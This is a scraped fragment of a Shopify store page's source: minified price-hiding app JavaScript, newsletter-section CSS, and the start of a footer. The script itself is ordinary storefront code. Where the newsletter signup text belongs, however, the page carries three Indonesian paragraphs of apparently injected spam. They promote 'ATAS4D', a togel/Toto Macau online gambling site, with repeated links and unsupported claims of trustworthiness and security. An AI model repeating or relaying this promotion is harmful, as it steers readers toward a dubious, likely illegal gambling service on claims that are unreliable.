.product-option");e&&t.push(e);let o=s.querySelector("#CartDrawer-CartItems .cart-item .cart-item__totals .cart-item__price-wrapper");o&&t.push(o);let r=s.querySelector("#CartDrawer-CartItems .cart-item .cart-item__quantity");r&&t.push(r);let c=s.querySelector(".drawer__footer");c&&t.push(c)}if(s=c.closest("#main-cart-items"),s){let e=s.querySelector(".cart-item .cart-item__details dl .product-option");e&&t.push(e);let o=s.querySelector(".cart-item .cart-item__quantity .cart-item__quantity-wrapper");o&&t.push(o);let r=s.querySelector(".cart-item .cart-item__totals.right.small-hide .cart-item__price-wrapper");r&&t.push(r)}if(s=c.closest("#main-cart-footer"),s){let e=s.querySelector(".cart__footer");e&&t.push(e)}if(s=c.closest(".product-single__meta"),s&&window.Shopify&&("asiadirectfurniture.mysh
13033opify.com"===window.Shopify.shop||"pure-vision-ch.myshopify.com"===window.Shopify.shop)){let e=s.querySelector(".product__price[data-product-price]");e&&t.push(e)}if(s=c.closest(".product-inner.pr"),s){let e=s.querySelector(".pr_atc.pr_qty_atc > a.pr_atc_.js_addtc");e&&t.push(e)}if(s=c.closest("#shopify-section-pr_summary"),s){let e=s.querySelector("p.price_range, .price.price_varies");e&&t.push(e)}if(s=c.closest(".grid__item"),s){let e=s.querySelector(".product__form-container"),o=s.querySelector(".product__description");e&&(t.push(e),o.style.width="100%")}if(s=c.closest(".featured-product__content-wrapper"),s){let e=s.querySelector(".product-form");e&&t.push(e)}if(s=c.closest(".card__price"),s&&"exosomes-inc.myshopify.com"===o&&(s.style.textAlign="center"),s=c.closest(".Product__InfoWrapper > .Product__Info "),s){let e=s.querySelector('.ProductForm__BuyButtons > button[type="submit"].ProductForm__AddToCart');e&&t.push(e);let o=s.querySelector(".ProductForm__AddToCart");o&&t.push(o)}if(s=c.closest(".product-grid__container .product-grid__content"),s){let e=s.querySelector(".product-single__form .product__quantity");e&&t.push(e);let o=s.querySelector(".add-to-cart");o&&t.push(o);let r=s.querySelector(".product__price--compare");if(r&&t.push(r),window.Shopify&&"sparklinbluewholesale.myshopify.com"===window.Shopify.shop){let e=s.querySelector(".product__price-savings");e&&t.push(e)}}if(s=c.closest(".product-grid-item"),s){let e=s.querySelector(".h1.medium--left");e&&"envogueusa.com"==window.location.host&&t.push(e)}if(s=c.closest("#productPrice-product-template"),s){let e=s.querySelector("small");e&&"envogueusa.com"==window.location.host&&t.push(e),s.appendChild(c)}if(s=c.closest(".product-grid-item"),s){let e=s.querySelector(".form-grid-btn");e&&"mamiereglissepro.myshopify.com"===o&&t.push(e)}if(s=c.closest("#cont-form"),s){let e=s.querySelector(".so-price");e&&t.push(e);let r=s.querySelector("#addToCart");r&&"mamiereglissepro.myshopify.com"===o&&t.push(r)}if(s=c.closest(".template-product"),s){let e=s.querySelector('button[name="add"]#addToCartBis, button[name="add"]#addToCart2');e&&t.push(e)}if(s=c.closest(".grid-product__content"),s){let e=s.querySelector(".quick-product__btn");!e||"wood-hill-boards.myshopify.com"!==o&&"wood-hill-boards-usa.myshopify.com"!==o&&"bundlecomph.myshopify.com"!==o||t.push(e)}if(s=c.closest(".product-single__meta"),s){let e=s.querySelector(".product__quantity");!e||"wood-hill-boards.myshopify.com"!==o&&"wood-hill-boards-usa.myshopify.com"!==o||t.push(e)}if(s=c.closest(".product-block-area"),s){let e=s.querySelector("#addToCartButton");e&&"wanderlustvision.myshopify.com"===o&&t.push(e)}if(s=c.closest(".product-single__meta--wrapper .product-single__meta"),s){let e=s.querySelector(".price-container.text-money"),o=s.querySelector('button[name="add"].btn--add-to-cart');e&&t.push(e),o&&t.push(o)}if(s=c.closest(".product-single__metas"),s){let e=s.querySelector(".product-single__buttons .js-quantity-selector.product-quantity"),o=s.querySelector(".product-single__buttons button.btn--add-to-cart");e&&t.push(e),o&&t.push(o)}if("dollie-wholesale.myshopify.com"===o&&(s=c.closest(".product-card"),s)){let e=s.querySelector(".product-card__buttons .product-card__quickview"),o=s.querySelector(".product-card__buttons .product-card__form"),r=s.querySelector(".product-card__buttons .button-wishlist"),c=s.querySelector(".wpb-variants-swatch");e&&t.push(e),o&&t.push(o),r&&t.push(r),c&&t.push(c)}if("obsequ.myshopify.com"===o&&(s=c.closest(".product-meta"),s)){let e=s.querySelector(".price-list[data-product-price-list]");e&&e.remove()}if(s=c.closest(".sticky-cart"),s){let e=s.querySelector(".product-form__buttons");e&&t.push(e)}if("wholesale-rubypearlco.myshopify.com"!==o&&"coventa-demo.myshopify.com"!==o&&(s=c.closest(".productitem--info")||c.closest(".product-pricing"),s)){let e=s.querySelector(".price");e&&t.push(e)}if(s=c.closest(".productitem--info"),s){let e=s.querySelector(".price__compare-at.visible");e&&"coventa-demo.myshopify.com"===o&&t.push(e)}if(s=c.closest(".product-block-list"),s&&window.Shopify&&"axiom-wholesale-parts.myshopify.com"===window.Shopify.shop){let e=s.querySelector(".price");e&&e.classList.remove("price")}if(s=c.closest(".product-layout"),s){let e=s.querySelector(".action-links");e&&t.push(e)}if(s=c.closest(".product-single__meta"),s){let e=s.querySelector(".product-block--price");e&&"comphycompany.myshopify.com"===o&&t.push(e)}if(s=c.closest(".product-details, .modal_price"),s){let e=s.querySelector(".current_price, .price__container");e&&t.push(e)}if("wholesale-rubypearlco.myshopify.com"===window.Shopify.shop&&(s=c.closest(".productitem__container .productitem--info, .product-details .product-pricing"),s)){let e=s.querySelectorAll(".price__compare-at--single, .price__compare-at, .price__current--max");
13033e.length&&e.forEach(e=>e.remove())}if("kerriecapelliusa-com.myshopify.com"===window.Shopify.shop&&(s=c.closest(".product-detail.quickbuy-content.spaced-row.container"),s)){let e=s.querySelectorAll(".product-form.theme-init .variant-visibility-area");e.length&&e.forEach(e=>e.remove())}if(s=c.closest(".widget_if_pr, .product-inner, .al_center.fl_center, .widget_if_pr"),s){let e=s.querySelectorAll(".product-price-pr-search, .hover_button, .nt_add_w, .nt_add_cp, .sticky_atc_btn.variations_form, .transcy-money");e.length&&e.forEach(e=>e.remove())}if(s=c.closest(".ProductItem__Wrapper, .ProductForm"),s){let e=s.querySelector(".ProductItem__PriceList, .ProductForm__QuantitySelector");e&&"sirenwireless.myshopify.com"!==o&&e.remove();let r=s.querySelector(".ProductFormWrapper");r&&"sirenwireless.myshopify.com"===o&&t.push(r)}if("butterfly-health-and-wellness.myshopify.com"===window.Shopify.shop){if(s=c.closest(".item-content"),s){let e=s.querySelector('.module-wrap[data-label="(P) Cart Button"] button.gf_add-to-cart');e&&e.remove()}if(s=c.closest(".gf_product-desc"),s){let e=s.querySelector("h4");e&&(e.remove(),c.style.display="none")}if(s=c.closest(".gf_column[data-id]"),s){let e=s.querySelectorAll('.elementor-section[data-element_type="section"] .elementor-text-editor strong, .gf_product-desc h4, .gf_product-desc strong');if(e)for(let t of e)t.remove()}}if(s=c.closest(".product-block"),s){let e=s.querySelector(".quickbuy-toggle");e&&t.push(e)}if(s=c.closest(".productView-details"),s){let e=s.querySelector(".productView-buttons"),r=s.querySelector(".quantity_selector"),c=s.querySelector(".productView-subtotal");e&&t.push(e),r&&t.push(r),c&&t.push(c),"remote-king-au.myshopify.com"===o&&s.querySelectorAll(".product-customInformation").forEach(e=>e.remove())}if(s=c.closest(".product__content"),s&&"campomarzio-trade-uk.myshopify.com"===o){let e=s.querySelector(".product__text"),o=s.querySelector(".select__fieldset"),r=s.querySelector(".product__submit");e&&t.push(e),o&&t.push(o),r&&t.push(r)}if(s=c.closest(".product-card__price, .product-single__meta-list"),s){let e=s.querySelector(".product-single__price, .money-product");e&&e.remove()}if("ens-nutrition-3419.myshopify.com"===o&&(s=c.closest(".card__content"),s)){let e=s.querySelector(".button.quick-add__submit");e&&e.remove()}if("b2b-nandu.myshopify.com"===o){if(s=c.closest(".grid-product__content"),s){let e=s.querySelector(".grid-product__meta .grid-product__price ");e&&e.remove()}let e=c.closest(".product-single__meta");if(e){let t=e.querySelector(".product__price.product__price--compare"),o=e.querySelector(".product__price.on-sale"),r=e.querySelector(".product__price-savings");t&&o&&r&&(t.remove(),o.remove(),r.remove())}}if("impjarwholesale.myshopify.com"===o){if(s=c.closest(".tp-product-content"),s){let e=s.querySelector("button#AddToCart"),o=s.querySelector(".tp-product-singe-action .tp-product-quantity");e&&t.push(e),o&&t.push(o)}if(s=c.closest(".grid-item"),s){let e=s.querySelector('form[action="/cart/add"]');e&&t.push(e)}}if("b2b-dbodhi-singapore.myshopify.com"===o&&(s=c.closest("del"),s&&t.push(c),s=c.closest(".product-information--inner"),s)){const e=s.querySelector(".product-form");e&&t.push(e)}if(s=c.closest(".lh-details-product"),s){if("ags2020.myshopify.com"===o){let e=s.querySelector(".lh-price");e&&e.classList.remove("lh-price")}let e=s.querySelector(".lh-add_to_cart");e&&t.push(e);let r=s.querySelector(".lh-buy-now");r&&t.push(r);let c=s.querySelector(".lh-compare-at-price");c&&t.push(c)}if(s=c.closest(".lh-collection-item"),s){if("ags2020.myshopify.com"===o){let e=s.querySelector(".lh-price");e&&e.classList.remove("lh-price")}let e=s.querySelector(".lh-product-compare-price");e&&t.push(e)}if(s=c.closest(".ProductMeta, .ProductItem__Info"),s){let e=s.querySelectorAll(".Price");e&&e.forEach(e=>e.remove())}}t.forEach((function(e){e.remove()}))}}(e),function(e){e.ltsp.removeElementByLTSPWrapper=function(){let e=document.getElementsByClassName("bss-ltsp-price-wrapper"),t=[];for(let o=0;o<e.length;o++){let r=e[o],c=[],l=r.closest(".product-parent");if(l){let e=l.querySelector("form .tt-btn-addtocart");e&&t.push(e);let o=l.querySelector(".tt-btn-quickview");o&&t.push(o)}if(l=r.closest(".product-single__meta"),l=r.closest(".tt-product-single-info"),l){let e=l.querySelector("form .btn-addtocart");e&&t.push(e);let o=l.querySelector('form[action*="/cart/add"]');o&&t.push(o)}if(l=r.closest(".product_section"),l){let e=l.querySelector("form .add_to_cart, form .b2b-ajax-submit");e&&t.push(e);let o=l.querySelector(".sale.savings");o&&t.push(o)}if(l=r.closest(".quick-shop-style--inline"),l){let e=l.querySelector("form .add_to_cart, form .b2b-ajax-submit");e&&t.push(e)}if(l=r.closest(".product-details"),l){let e=l.querySelector("small em");e&&t.push(e)}if(l=r.closest(".gt_product-body"),l){let e=l.querySelector("form .gt_product-addtocart");e&&t.push(e);let o=l.querySelector(".gt_product-saved");o&&t.push(o);let r=l.querySelector(".gt_product-price--compare");r&&t.push(r)}if(l=r.closest(".gt_product_content"),l){let e=l.querySelector("form .gt_product-addtocart");e&&t.push(e);let o=l.querySelector(".gt_product-price--compare");o&&t.push(o)}if(l=r.closest(".gt-single-product"),l){let e=l.querySelector("div.gt_method_addToCart");e&&t.push(e);let o=l.querySelector(".gt_product-price--compare");o&&t.push(o)}if(l=r.closest("#cont-form"),l){let e=l.querySelector("form .cont-add-btns");e&&t.push(e)}if(l=r.closest(".theiaStickySidebar"),l){let e=l.querySelector(".variations_button");e&&t.push(e)}if(l=r.closest(".product-submit"),l){let e=l.querySelector(".payment-buttons-container");e&&t.push(e)}if(l=r.closest(".productitem"),l){let e=l.querySelector(".productitem--action");e&&t.push(e)}if(l=r.closest(".product--outer"),l){let e=l.querySelector(".product-form--atc");e&&t.push(e),e=l.querySelector(".shopify-payment-button"),e&&t.push(e)}if(l=r.closest(".product-grouped"),l){let e=l.querySelector(".product_top form#add-to-cart-form");e&&t.push(e)}if(l=r.closest(".product-item"),l){let e=l.querySelector(".product-top .product-des .action");e&&t.push(e)}if(l=r.closest(".product-item"),l){let e=l.querySelector('.product-item__action-button[data-action="add-to-cart"]');e&&t.push(e)}if(l=r.closest(".grid__item.grid-product"),l){let e=l.querySelector('form[action="/cart/add"] input[type="submit"]');e&&t.push(e);let o=l.querySelector(".grid-product__tag");o&&t.push(o);let r=l.querySelector(".visually-hidden");r&&t.push(r)}if(l=r.closest(".product-info"),l){let e=l.querySelector('form[action="/cart/add"] .payment-buttons');e&&t.push(e);let o=l.querySelector(".variant-wrapper.variant-wrapper--button");o&&t.push(o)}if(l=r.closest("#product-right"),l){let e=l.querySelector(".was");e&&t.push(e);let o=l.querySelector(".product-add");o&&t.push(o)}if(l=r.closest(".was"),l&&t.push(l),l=r.closest(".product-single__meta"),l){let e=l.querySelector(".pf__actions");e&&t.push(e)}if(l=r.closest("#AddToCartForm-product-template"),l){let e=l.querySelector("#CartButtons-product-template");e&&t.push(e)}if(l=r.closest(".Product__Info"),l){let e=l.querySelector(".ProductMeta__PriceList");e&&t.push(e)}if(l=r.closest(".grid-item"),l){let e=l.querySelector("#addToCart-product-template");e&&t.push(e);let o=l.querySelector(".payment-buttons");o&&t.push(o)}c.forEach((function(e){r.closest(e)&&t.push(r.closest(e))}))}t.forEach((function(e){e.remove()}))}}(e),e.ltsp.removePattern=function(){e.ltsp.removeElementByLTSPMessage(),e.ltsp.removeElementByLTSPWrapper()},e.ltsp.insertBeforeAddToCart=function(){let t=document.querySelectorAll(".bsscommerce-ltsp-message[data-ltsp-cart-message]");for(let o=0;o<t.length;o++){let r=t[o],c=r.getAttribute("data-ltsp-cart-message");r.removeAttribute("data-ltsp-cart-message");let l=[".main-content .product-single__meta",".main-content .grid__item",".main-content .grid-item",".main-content .product__content.product__content--template.product__content--information","main#MainContent .product__info-container",".container#product-product .product-info-main",'main#main section[data-section-id="collection-template"] .product-item',".product-area__details.product-detail .product-detail__form"];for(let t=0;t<l.length;t++){let o=r.closest(l[t]);if(o&&!o.querySelector(".bsscommerce-ltsp-message.hide-message")){let t=
13033o.querySelector('form[action="/cart/add"]');if(t){let o=e.helperLTSP.createHidePriceMessageSpan(c);t.before(o)}}}let s=[[".product-layout .item .item-inner .caption",".button.btn-cart"],['main#main section[data-section-id="product-template"] .card__section',".product-form__payment-container"],[".main#MainContent .content.product",'form[action="/cart/add"] .offers']];for(let t=0;t<s.length;t++){let o=r.closest(s[t][0]);if(o&&!o.querySelector(".bsscommerce-ltsp-message.hide-message")){let r=o.querySelector(s[t][1]);if(r){let t=e.helperLTSP.createHidePriceMessageSpan(c);r.before(t)}}}if(window.Shopify&&"airbesafe.myshopify.com"===window.Shopify.shop){let t=[[".shopify-section--main-collection .product-list__inner .product-item ",".product-item__info  .product-item-meta__price-list-container .price-list"],[".shopify-section--main-product .product--thumbnails-bottom .product__info",".product-meta__price-list-container"],["product-item.product-item .product-item__info",".product-item-meta__price-list-container"]];for(let o=0;o<t.length;o++){let l=r.closest(t[o][0]);if(l&&!l.querySelector(".bsscommerce-ltsp-message.hide-message")){let r=l.querySelector(t[o][1]);if(r){let t=e.helperLTSP.createHidePriceMessageSpan(c);r.after(t)}}}}}}}function c(e){!function(e){e.helperLTSP={},e.helperLTSP.createHidePriceMessageSpan=function(e){let t=document.createElement("span");return t.classList.add("bsscommerce-ltsp-message"),t.classList.add("hide-message"),t.style.fontSize="16px",t.style.fontWeight="normal",t.style.color="initial",t.style.textTransform="none",t.style.visibility="visible",t.innerHTML=e,t},e.helperLTSP.onLoadMore=function(e){const t=document.querySelector([".sf__product-listing[data-product-container] > div",'.row[data-js-collection-replace="products"]',".product-list-container .product-list.use-infinite-scroll","#collection-product .product-container",".container #col-main"].join(","));if(t){new MutationObserver((function(t){t.forEach((function(t){t.addedNodes.length&&e()}))})).observe(t,{childList:!0})}}}(e)}function l(){const e={};c(e),r(e),function(e){e.ptvp={},e.ptvp.addPasscodeForm=function(){let e=document.querySelector('form[action*="/cart/add"]'),t=document.getElementsByClassName("bss-passcode-wrapper-tag"),o=document.getElementsByClassName("bsscommerce-password-form"),r=document.querySelector(".toggle-passcode-input"),c=null;if(o.length&&(c=o[0],c.style.display="block",r&&r.addEventListener("click",(function(e){let t=document.getElementById("bsscommerce-password");"password"===t.type?(t.type="text",e.target.closest(".toggle-passcode-input").style.fill="#5C5F62"):(t.type="password",e.target.closest(".toggle-passcode-input").style.fill="#BABEC3")}))),t.length&&e&&o.length){e.before(c);let o=document.getElementById("bsscommerce-password"),r=new FormData;r.append(o.name,o.value),document.getElementById("bsscommerce-password-submit").style.padding="12px 16px",document.getElementById("bsscommerce-password-submit").style.display="block";let l=new XMLHttpRequest;l.open("post","/cart/update.js"),l.send(r);let s=document.getElementsByClassName("bsscommerce-ltap-password");if(s.length)for(let e=0;e<s.length;e++)s[e].addEventListener("submit",(function(e){e.preventDefault();let t=this;if(t.length)for(let e=0;e<t.length;e++)if("bsscommerce-password"==t[e].id){let o=t[e];if(o.addEventListener("input",(function(){o.classList.remove("input--error")})),o.value)if(""!=o.value){let e=new FormData;e.append(o.name,o.value);let t=new XMLHttpRequest;t.onreadystatechange=function(){4==t.readyState&&200==t.status&&location.reload()},t.open("post","/cart/update.js"),t.send(e)}else o.classList.add("input--error")}}));for(let e=0;e<t.length;e++)t[e].remove()}}}(e),e.ptvp.addPasscodeForm(),document.querySelectorAll(".quick-view-btn").forEach((function(t){t.addEventListener("click",(function(){setTimeout((function(){e.ptvp.addPasscodeForm()}),1e3)}))})),function e(){document.querySelectorAll(".advanced-filter a").forEach((function(t){t.addEventListener("click",(function(){setTimeout((function(){let t=document.getElementsByClassName("bsscommerce-ltsp-message");for(let e=0;e<t.length;e++){let o=t[e].closest(".item-row");
13033if(o){let e=o.querySelector(".add-to-cart");e&&e.remove()}}e()}),1200)}))}))}(),e.ltsp.quickView(),e.ltsp.insertBeforeAddToCart(),e.ltsp.removePattern(),e.helperLTSP.onLoadMore(e.ltsp.removePattern),setTimeout((function(){e.ltsp.removePattern()}),2500);if(window.Shopify&&-1!==["showroom1-ducanero.myshopify.com","sparklinbluewholesale.myshopify.com","youchique-4183.myshopify.com","wilkens-gmbh.myshopify.com","friends-forever-pets.myshopify.com"].indexOf(window.Shopify.shop)&&(window.onscroll=function(e,t){let o;return function(...r){o&&clearTimeout(o),o=setTimeout(()=>{e(...r),o=null},t)}}((function(){let t=setInterval((function(){e.ltsp.removePattern()}),200);setTimeout((function(){clearInterval(t)}),3e3)}),500)),"amoreo.eu"===window.location.host){let t=setInterval((function(){e.ltsp.removePattern()}),200);setTimeout((function(){clearInterval(t)}),3e3)}let t=document.querySelector(".infinite-scrolling-homepage a.btn");"airbesafe.myshopify.com"===window.location.host&&setTimeout((function(){e.ltsp.insertBeforeAddToCart()}),3e3),t&&(t.onclick=function(){setTimeout((function(){e.ltsp.removePattern()}),1e3)});let o=document.querySelectorAll("#shopify-section-product-recommendations, .product-modal-wrapper");var l,s,u;(o.length&&o.forEach((function(t){t.addEventListener("DOMSubtreeModified",(function(){e.ltsp.removePattern()}))})),"valleys-group.myshopify.com"===window.location.host)&&(l=function(){e.ltsp.removePattern();
13033let t=document.querySelectorAll(".slideout__drawer-right, .sidebar_leftside_wapper, .filtering__results");t.length&&t.forEach((function(e){e.addEventListener("click",(function(){setTimeout(()=>{l()},1700)}))}))});"b.salonpremium.com"===window.location.host&&(s=function(){e.ltsp.removePattern();let t=document.querySelectorAll(".pagination");t.length&&t.forEach((function(e){e.addEventListener("click",(function(){setTimeout(()=>{s()},3e3)}))}))});"www.internationalbeauty.ca"===window.location.host&&(u=function(){let t=document.querySelector('[id^="RecentlyViewed"]');new MutationObserver((function(t){t.forEach((function(t){t.addedNodes.length&&(e.ltsp.removePattern(),document.querySelectorAll(".btn--icon.quick-product__btn").forEach((function(e){e.addEventListener("click",(function(){setTimeout((function(){let e=document.getElementsByClassName("bsscommerce-ltsp-message");for(let t=0;t<e.length;t++){let o=e[t].closest(".product-grid__content");if(o){let e=o.querySelector(".payment-buttons");e&&e.remove()}}u()}),2e3)}))})))}))})).observe(t,{childList:!0})});if("bluebasketb2b.myshopify.com"===window.Shopify.shop){let t=document.querySelector("#CartDrawer");const o=()=>{let e=document.querySelectorAll("script#bss-ltap-login-require");for(let t in e)t.remove()};if(t){new MutationObserver((function(t){t.forEach((function(t){t.addedNodes.length&&(e.ltsp.removePattern(),o())}))})).observe(t,{childList:!0})}}if("dollie-wholesale.myshopify.com"===window.Shopify.shop){let t=document.querySelector("#product-grid .products__row");if(t){new MutationObserver((function(t){t.forEach((function(t){t.addedNodes.length&&e.ltsp.removePattern()}))})).observe(t,{childList:!0})}}if("impjarwholesale.myshopify.com"===window.Shopify.shop){let t=document.querySelector(".tp-collection-content");if(t){new MutationObserver((function(t){t.forEach((function(t){t.addedNodes.length&&e.ltsp.removePattern()}))})).observe(t,{childList:!0})}}if("inex-studio.myshopify.com"===window.Shopify.shop){let t=document.querySelector("#Search .Search__Results");if(t){new MutationObserver((function(t){t.forEach((function(t){t.addedNodes.length&&e.ltsp.removePattern()}))})).observe(t,{childList:!0,subtree:!0})}}}o.r(t),o.d(t,"default",(function(){return l})),l()}]);
13034</script>
13034
13035
13036      </main>
13037
13038      <div id="shopify-section-newsletter" class="shopify-section">
13039  <style>
13040    #shopify-section-newsletter {
13041      background-color: #EEEEEE;
13042      margin-bottom: 0;
13043    }
13044    input:-webkit-autofill,
13045    input:-webkit-autofill:hover,
13046    input:-webkit-autofill:active,
13047    input:-webkit-autofill:focus {
13048      -webkit-box-shadow:0 0 0 50px white inset;
13049      -webkit-text-fill-color: #212121;
13050    }
13051    .section-newsletter {
13052      max-width: 800px;
13053      margin: auto;
13054      padding: 50px 0;
13055    }
13056    .section-newsletter h2 {
13057      font-weight: 700;
13058      font-size: 24px;
13059    }
13060    .section-newsletter input[type="email"] {
13061      width: 100%;
13062      text-align: center;
13063      border: none;
13064      border-bottom: 1px solid #212121;
13065      font-size: 16px;
13066      color: #757575;
13067      background-color: #eeeeee;
13068    }
13069    .section-newsletter .row label {
13070      font-size: 14px;
13071      cursor: pointer;
13072    }
13073    .section-newsletter .radio-inline input {
13074      width: auto;
13075    }
13076    .section-newsletter .btn {
13077      width: 130px;
13078      border: 1px solid #212121;
13079      box-shadow: none;
13080      font-size: 16px;
13081      font-weight: 500;
13082      text-transform: uppercase;
13083    }
13084    .section-newsletter form {
13085      margin: 30px 0 60px;
13086    }
13087    .section-newsletter input[type="radio"] {
13088      position: absolute;
13089      width: 1px;
13090      height: 1px;
13091    }
13092    .section-newsletter [type="radio"]:checked + label, .section-newsletter [type="radio"]:not(:checked) + label {
13093      position: relative;
13094      padding-left: 28px;
13095      cursor: pointer;
13096      line-height: 20px;
13097      display: inline-block;
13098      color: #666;
13099    }
13100    .section-newsletter [type="radio"]:checked + label:before, .section-newsletter [type="radio"]:not(:checked) + label:before {
13101      content: '';
13102      position: absolute;
13103      left: 0;
13104      top: 0;
13105      width: 18px;
13106      height: 18px;
13107      border: 1px solid #ddd;
13108      border-radius: 100%;
13109      background: #fff;
13110    }
13111    .section-newsletter [type="radio"]:checked + label:after, .section-newsletter [type="radio"]:not(:checked) + label:after {
13112      content: '';
13113      width: 12px;
13114      height: 12px;
13115      background: #212121;
13116      position: absolute;
13117      top: 3px;
13118      left: 3px;
13119      border-radius: 100%;
13120      -webkit-transition: all 0.2s ease;
13121      transition: all 0.2s ease;
13122    }
13123    .section-newsletter [type="radio"]:not(:checked) + label:after {
13124      opacity: 0;
13125      -webkit-transform: scale(0);
13126      transform: scale(0);
13127    }
13128    .opt-newsletter {display:none;}
13129    .footer-newsletter p, .footer-newsletter p a {
13130      color: #757575;
13131    }
13132    @media (max-width:991px){
13133      .section-newsletter h2 {
13134        font-size: 32px;
13135      }
13136      .section-newsletter input {
13137        width: 300px;
13138        font-size: 14px;
13139      }
13140      .section-newsletter {
13141        padding: 50px 20px;
13142      }
13143    }
13144    @media (max-width: 480px){
13145      .section-newsletter input[type="email"] {font-size: 16px;}
13146    }
13147  </style>
13148  
13149  <div class="section-newsletter text-center">
13150    <div class="header-newsletter">
13151      <h2>ATAS4D - Platform Game Togel Toto Macau 4D Terbaik Dengan Fitur Lengkap</h2>
13152      <p style="color: #000000; line-height: 1.9; font-size: 15px; text-align: justify; margin-bottom: 18px;"><strong><a href="https://atas4d.biz/">ATAS4D</a></strong> hadir sebagai platform terpercaya bagi pecinta game togel toto macau yang mengutamakan kenyamanan, kecepatan, dan keamanan dalam bermain angka 4d. Dengan sistem yang stabil dan tampilan yang ramah pengguna, ATAS4D memudahkan siapa saja untuk mengakses berbagai pasaran populer seperti togel macau, toto macau, dan toto macau 4d yang dikenal memiliki peluang menarik. Platform ini dirancang untuk memberikan pengalaman bermain yang optimal, mulai dari proses pendaftaran hingga transaksi yang cepat dan aman.</p>
13153<p style="color: #000000; line-height: 1.9; font-size: 15px; text-align: justify; margin-bottom: 18px;">Sebagai penyedia pasaran <strong><a href="https://atas4d.biz/">toto macau</a></strong> dan <strong><a href="https://atas4d.biz/">toto macau 4d</a></strong> berkualitas, ATAS4D menawarkan fitur lengkap yang mendukung aktivitas pemain setiap hari. Data result macau yang akurat, update secara real-time, serta dukungan layanan pelanggan yang responsif menjadi nilai tambah yang meningkatkan kepercayaan pengguna. Selain itu, sistem keamanan yang digunakan memastikan seluruh data pribadi dan transaksi pemain tetap terlindungi, sehingga pemain dapat fokus menikmati permainan tanpa rasa khawatir.</p>
13154<p style="color: #000000; line-height: 1.9; font-size: 15px; text-align: justify; margin-bottom: 18px;">Keunggulan lain dari ATAS4D adalah kemudahan akses melalui berbagai perangkat, baik desktop maupun mobile, tanpa mengurangi performa. Dengan komb
13154inasi teknologi modern dan layanan profesional, ATAS4D terus berkembang menjadi pilihan utama bagi para pemain <strong><a href="https://atas4d.biz/">game togel online</a></strong>. Bagi yang mencari platform togel macau terpercaya dengan fitur lengkap dan peluang menarik, ATAS4D menjadi solusi yang tepat untuk pengalaman bermain yang lebih maksimal.</p>
13155</div>
13156</div>
13157    </div>
13158  </div>
13159  
13159<script>
13160    $(document).ready(function(){
13161      $('.section-newsletter input[type="email"]').bind('input propertychange', function() {
13162        if(($(this).val().length) > 0) {
13163          $('.opt-newsletter').css('display','flex');
13164        }else {
13165          $('.opt-newsletter').css('display','none');
13166        }
13167      });
13168    });
13169  </script>
13169
13170
13171
13172</div>
13173
13174      
13175        <div id="shopify-section-Footer" class="shopify-section Footer Section"><!-- begin site-footer -->
13176
13177<link href="https://outerbloom.com/cdn/shop/t/138/assets/section-footer.css?v=100040659411828343611752652419" rel="stylesheet" type="text/css" media="all" />
13178<style>
13179  
13180  .site-footer__list-item a {color: #212121;font-size: 14px;font-weight: 400;}
13181  .social-icons li {display: inline-block;}
13182  .social-icons li a {display: block;color: #212121!important;font-size: 16px;}
13183  .social-icons li a img {vertical-align: middle;height: 20px;margin-right: 7px;}
13184  .icon-footer-whatsapp .icon-svg {width: 18px;height: 18px;vertical-align: middle;}
13185  .copyright * {display: inline-block;vertical-align: middle;color: #212121;letter-spacing: normal!important;font-size: 16px!important;}
13186  .copyright a {border-left: 1px solid;padding-left: 10px;margin-left: 5px;}
13187  .icon-minus {display:none}
13188  .bc-border {
13189    border-top: 1px solid #C4C4C4;
13190    border-bottom: 1px solid #C4C4C4;
13191    padding: 40px 0;
13192    margin-bottom: 50px;
13193  }
13194  @media (min-width: 769px) {
13195    .site-footer__list-item{margin-bottom:8px;}
13196  }
13197  @media (max-width: 992px){
13198    ul.site-footer__list {display: none;}
13199    .site-footer__section .bottom-line .icon {float: right;width: 20px;height: 20px;}
13200    .bottom-line.site-footer__section-title.open .icon-minus {display: block;}
13201    .bottom-line.site-footer__section-title.open .icon-plus {display: none;}
13202
13203    .site-footer__list.cust-service {margin-bottom: 25px;}
13204    .site-footer__list.cust-service li {width: 100%;text-align: center;}
13205    /*.site-footer__list.cust-service li:first-child {border-right: 1px solid #757575;}
13206    .site-footer__list.cust-service li:last-child {border-left: 1px solid #757575;}*/
13207  }
13208  @media (max-width: 768px) {
13209    .seo-footer, .seo-article {padding-top: 0!important;}
13210    .copyright {padding: 0px 0 0!important;}
13211    .copyright span {
13212      width: 100%;
13213      font-size: 14px!important;
13214    }
13215    .copyright a {
13216      padding: 0;
13217      margin: 0 5px;
13218      border: none;
13219      font-size: 14px!important;
13220    }
13221    .article-lists {column-count: 2;-webkit-column-count: 2;}
13222  }
13223  /** Newsletter Footer **/
13224  .site-footer__newsletter-input {height: 37px;border-radius: 0;}#mc-embedded-subscribe-form .input-group-btn {width: initial;}
13225  /** Method Footer **/
13226  .footer-method ul {margin: 0;}.footer-method ul li {display: inline-block;width: 65px;float: left;margin-right: 5px;margin-bottom: 5px;}.footer-method ul li img {display: block;width: 100%;background-color: #fff;}
13227  /** SEO **/
13228  .c-seo-links h6 {font-size: 24px;font-weight: 600;}
13229  .c-seo-links .about_text p {font-size: 14px!important;font-weight: 400;}
13230  .seo-article * {color: #212121!important;}
13231  .seo-article a:hover {text-decoration: underline;}
13232</style>
13233<footer class="site-footer" role="contentinfo">
13234  
13235  <div class="footer-menu">
13236    <div class="container pt-0">
13237      <div class="row px-1 px-md-0 pb-4 pb-md-0">
13238        <div class="footer-navigation col-12">
13239          <div class="row justify-content-around m-0 m-sm-0">
13240  <div class="site-footer__section site-footer__section-mbl col-lg-3 mt-3 mt-md-0 p-0 d-lg-none">
13241    <h5 class="bottom-line site-footer__section-title mb-1">
13242  Layanan Customers
13243  <svg class="d-none icon icon-plus" version="1.1" xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 32 32">
13244    <title>icon-plus</title>
13245    <path d="M16.667 15.333h8.667c0.368 0 0.667 0.298 0.667 0.667s-0.298 0.667-0.667 0.667h-8.667v8.667c0 0.368-0.298 0.667-0.667 0.667s-0.667-0.298-0.667-0.667v-8.667h-8.667c-0.368 0-0.667-0.298-0.667-0.667s0.298-0.667 0.667-0.667h8.667v-8.667c0-0.368 0.298-0.667 0.667-0.667s0.667 0.298 0.667 0.667v8.667z"></path>
13246  </svg>
13247  <svg class="d-lg-none icon icon-minus" version="1.1" xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 32 32">
13248    <title>icon-minus</title>
